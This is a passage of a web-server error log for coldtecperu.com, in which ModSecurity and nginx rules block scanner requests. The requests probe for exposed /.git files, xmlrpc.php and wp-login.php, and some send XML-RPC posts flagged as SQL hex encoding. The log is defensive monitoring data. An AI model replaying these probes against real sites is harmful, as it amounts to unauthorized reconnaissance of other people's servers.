"OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNj6BJuTNMIKTsQyKo6BgAAAAYM"] [Sun Sep 28 15:25:25.312966 2025] [:error] [pid 32121:tid 32143] [client 69.171.231.21:60990] [client 69.171.231.21] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNmZtZuTNMIKTsQyKo4E9QAAAZQ"] [Sun Sep 28 23:27:47.761388 2025] [:error] [pid 31910:tid 31933] [client 157.90.56.183:51970] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Sep 29 02:32:13.778733 2025] [:error] [pid 32032:tid 32074] [client 69.171.249.116:52544] [client 69.171.249.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNo1_Re0UdCdMjTng6l0HQAAAQw"] [Mon Sep 29 03:15:03.742961 2025] [:error] [pid 32121:tid 32145] [client 165.232.162.35:37248] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Sep 29 14:47:13.966733 2025] [:error] [pid 30524:tid 30538] [client 156.59.26.138:57932] File does not exist: /home/coldtecp/public_html/wp-login.php [Mon Sep 29 15:32:27.359973 2025] [:error] [pid 30374:tid 30419] [client 129.227.238.150:37460] File does not exist: /home/coldtecp/public_html/wp-login.php [Tue Sep 30 00:59:50.731744 2025] [:error] [pid 30300:tid 30317] [client 173.252.83.10:42404] [client 173.252.83.10] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNtx1u3rWkLGrLAalZGwmwAAAUw"] 2025/09/30 04:34:24 [error] 27327#27327: *1617637 access forbidden by rule, client: 77.93.152.227, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" 2025/09/30 04:34:25 [error] 27326#27326: *1617640 access forbidden by rule, client: 77.93.152.227, server: coldtecperu.com, request: "GET /.git/config HTTP/1.1", host: "coldtecperu.com" [Tue Sep 30 06:18:33.184066 2025] [:error] [pid 27510:tid 27528] [client 95.178.172.181:57654] [client 95.178.172.181] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1cb49cb9de found within XML: metaWeblog.newPost15806558065title0x1cb49cb9description0x1cb49cb9mt_keywords0x1cb49cb9mt_excerpt0x1cb49cb91"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aNu8iUIYoNP6H1WUHmJqqgAAANA"] [Tue Sep 30 21:11:50.395286 2025] [:error] [pid 27364:tid 27427] [client 69.171.230.115:56922] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNyN5uyidhe9NplrAOMPYAAAAIY"] [Tue Sep 30 21:11:52.347637 2025] [:error] [pid 27510:tid 27524] [client 69.171.230.12:56932] [client 69.171.230.12] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNyN6EIYoNP6H1WUHmK4PwAAAMw"] [Tue Sep 30 21:11:52.812947 2025] [:error] [pid 27364:tid 27438] [client 69.171.230.113:56942] [client 69.171.230.113] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNyN6Oyidhe9NplrAOMPYgAAAJE"] [Tue Sep 30 21:11:53.551874 2025] [:error] [pid 27364:tid 27433] [client 69.171.230.115:56950] [client 69.171.230.115] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNyN6eyidhe9NplrAOMPZAAAAIw"] [Tue Sep 30 21:11:54.364319 2025] [:error] [pid 27363:tid 27385] [client 69.171.230.116:56956] [client 69.171.230.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNyN6o70ArXaENMBWS--bgAAAE0"] [Tue Sep 30 22:35:25.086059 2025] [:error] [pid 27363:tid 27375] [client 165.22.102.219:50928] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Tue Sep 30 23:23:26.608235 2025] [:error] [pid 27510:tid 27527] [client 69.171.230.116:34956] [client 69.171.230.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aNysvkIYoNP6H1WUHmLGmgAAAM8"] [Wed Oct 01 19:43:31.007787 2025] [:error] [pid 19001:tid 19022] [client 69.171.230.112:51004] [client 69.171.230.112] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aN3KsyEEewtatdqLde6IJwAAANM"] [Wed Oct 01 19:47:06.945671 2025] [:error] [pid 18877:tid 18930] [client 69.171.230.24:51230] [client 69.171.230.24] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aN3Lin0i4PBVzfGM3JEcLAAAAEs"] [Wed Oct 01 19:48:47.210993 2025] [:error] [pid 19001:tid 19023] [client 69.171.230.22:51320] [client 69.171.230.22] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aN3L7yEEewtatdqLde6IRQAAANQ"] [Wed Oct 01 19:51:37.169795 2025] [:error] [pid 18878:tid 18963] [client 69.171.230.12:51440] [client 69.171.230.12] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aN3MmbK6ZAYyXUx0TLFGkwAAAJE"] [Wed Oct 01 21:40:47.448223 2025] [:error] [pid 10835:tid 10850] [client 69.171.230.24:55586] [client 69.171.230.24] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aN3mL7rjWxIZ_3fCm-EBewAAAM0"] [Thu Oct 02 02:55:18.478883 2025] [:error] [pid 10697:tid 10770] [client 142.93.64.53:44614] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Oct 02 13:09:16.234468 2025] [:error] [pid 23240:tid 23308] [client 103.182.83.10:59452] [client 103.182.83.10] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x26d9ce8bde found within XML: metaWeblog.newPost13016130161title0x26d9ce8bdescription0x26d9ce8bmt_keywords0x26d9ce8bmt_excerpt0x26d9ce8b1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aN6_zD_3cytUdHUrWsKd4wAAAMw"] [Thu Oct 02 14:00:40.816081 2025] [:error] [pid 1063:tid 1084] [client 169.150.203.195:33878] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Thu Oct 02 18:14:34.097824 2025] [:error] [pid 23328:tid 23344] [client 173.252.83.116:43832] [client 173.252.83.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aN8HWpSIew9LDcbkO4XgGwAAAE4"] [Thu Oct 02 20:17:31.858276 2025] [:error] [pid 23238:tid 23274] [client 69.171.230.116:49558] [client 69.171.230.116] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aN8kK7WoPFcpP9hGVphihQAAAAQ"] [Fri Oct 03 05:48:51.391572 2025] [:error] [pid 11468:tid 11483] [client 73.177.237.47:55172] [client 73.177.237.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aN-qExysmuG8weE3C7ejBQAAAIE"] [Fri Oct 03 16:43:17.029445 2025] [:error] [pid 11468:tid 11498] [client 69.171.231.28:41624] [client 69.171.231.28] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOBDdRysmuG8weE3C7e16AAAAIk"] [Fri Oct 03 18:48:58.697791 2025] [:error] [pid 11468:tid 11502] [client 173.252.83.5:48282] [client 173.252.83.5] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOBg6hysmuG8weE3C7e5lQAAAIs"] [Fri Oct 03 20:34:12.292176 2025] [:error] [pid 11466:tid 11527] [client 102.66.181.119:53750] [client 102.66.181.119] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0xe1e9df17de found within XML: metaWeblog.newPost11470314703title0xe1e9df17description0xe1e9df17mt_keywords0xe1e9df17mt_excerpt0xe1e9df171"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOB5lOc61L9vrYzrnq7vsAAAAAI"] 2025/10/04 00:39:40 [error] 11287#11287: *1811145 access forbidden by rule, client: 180.252.139.193, server: coldtecperu.com, request: "GET /.git/ HTTP/1.1", host: "coldtecperu.com" 2025/10/04 00:39:41 [error] 11288#11288: *1811148 access forbidden by rule, client: 180.252.139.193, server: coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "coldtecperu.com" [Sat Oct 04 07:50:52.138172 2025] [:error] [pid 3893:tid 3903] [client 144.48.39.124:49660] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Oct 04 11:36:25.530572 2025] [:error] [pid 3893:tid 3904] [client 110.226.229.247:51986] [client 110.226.229.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x572e6208de found within XML: metaWeblog.newPost12703327033title0x572e6208description0x572e6208mt_keywords0x572e6208mt_excerpt0x572e62081"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOFNCU3etcdvbJpoUSq3GgAAAMk"] [Sat Oct 04 12:18:38.808686 2025] [:error] [pid 3706:tid 3753] [client 45.149.173.235:54432] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Oct 04 14:59:07.849483 2025] [:error] [pid 3893:tid 3899] [client 69.171.230.7:37922] [client 69.171.230.7] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOF8i03etcdvbJpoUSq-FgAAAMQ"] [Sat Oct 04 15:28:45.190643 2025] [:error] [pid 3705:tid 3713] [client 169.150.203.197:40458] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sat Oct 04 17:05:04.135025 2025] [:error] [pid 3893:tid 3896] [client 69.171.230.4:47742] [client 69.171.230.4] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOGaEE3etcdvbJpoUSrCyQAAAME"] 2025/10/04 21:59:01 [error] 3562#3562: *1860271 access forbidden by rule, client: 180.252.139.193, server: mail.coldtecperu.com, request: "GET /.git/ HTTP/1.1", host: "mail.coldtecperu.com" 2025/10/04 21:59:03 [error] 3562#3562: *1860273 access forbidden by rule, client: 180.252.139.193, server: mail.coldtecperu.com, request: "GET /.git/HEAD HTTP/1.1", host: "mail.coldtecperu.com" [Sun Oct 05 04:41:54.506619 2025] [:error] [pid 12844:tid 12853] [client 89.168.155.165:59252] [client 89.168.155.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOI9Ythje5LDmFwhd2YNJgAAAAI"] [Sun Oct 05 04:43:31.386269 2025] [:error] [pid 13218:tid 13228] [client 185.197.32.57:59340] [client 185.197.32.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOI9wwyBXfQGqFdAId8IxAAAAMM"] [Sun Oct 05 11:57:19.694942 2025] [:error] [pid 13218:tid 13242] [client 34.223.60.162:60464] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Sun Oct 05 13:21:27.979326 2025] [:error] [pid 13218:tid 13227] [client 69.171.230.114:43384] [client 69.171.230.114] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOK3JwyBXfQGqFdAId8e0wAAAMI"] [Sun Oct 05 15:19:23.034337 2025] [:error] [pid 13218:tid 13247] [client 69.171.230.9:50520] [client 69.171.230.9] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOLSywyBXfQGqFdAId8ilwAAANY"] [Mon Oct 06 08:25:50.769238 2025] [:error] [pid 4755:tid 4790] [client 149.40.53.5:40846] File does not exist: /home/coldtecp/public_html/xmlrpc.php [Mon Oct 06 10:47:44.974624 2025] [:error] [pid 5053:tid 5073] [client 99.246.154.232:53602] [client 99.246.154.232] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aOPkoFANPaO8wH2jt8j6QQAAANI"] [Mon Oct 06 12:18:52.605529 2025] [:error] [pid 5053:tid 5060] [client 69.171.231.25:35772] [client 69.171.231.25] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOP5_FANPaO8wH2jt8j_0wAAAMU"] [Mon Oct 06 13:41:58.942084 2025] [:error] [pid 4756:tid 4831] [client 69.171.230.18:42434] [client 69.171.230.18] ModSecurity: Access denied with code 403 (phase 2). String match "bytes=0-" at REQUEST_HEADERS:Range. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_20_protocol_violations.conf"] [line "428"] [id "958291"] [rev "2"] [msg "Range: field exists and begins with 0."] [data "bytes=0-512000"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "6"] [accuracy "8"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "coldtecperu.com"] [uri "/robots.txt"] [unique_id "aOQNdhp_q745fn2ECDe6pgAAAJA"] [Tue Oct 07 03:11:09.351511 2025] [:error] [pid 5053:tid 5068] [client 107.11.4.35:48416] [client 107.11.4.35] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched 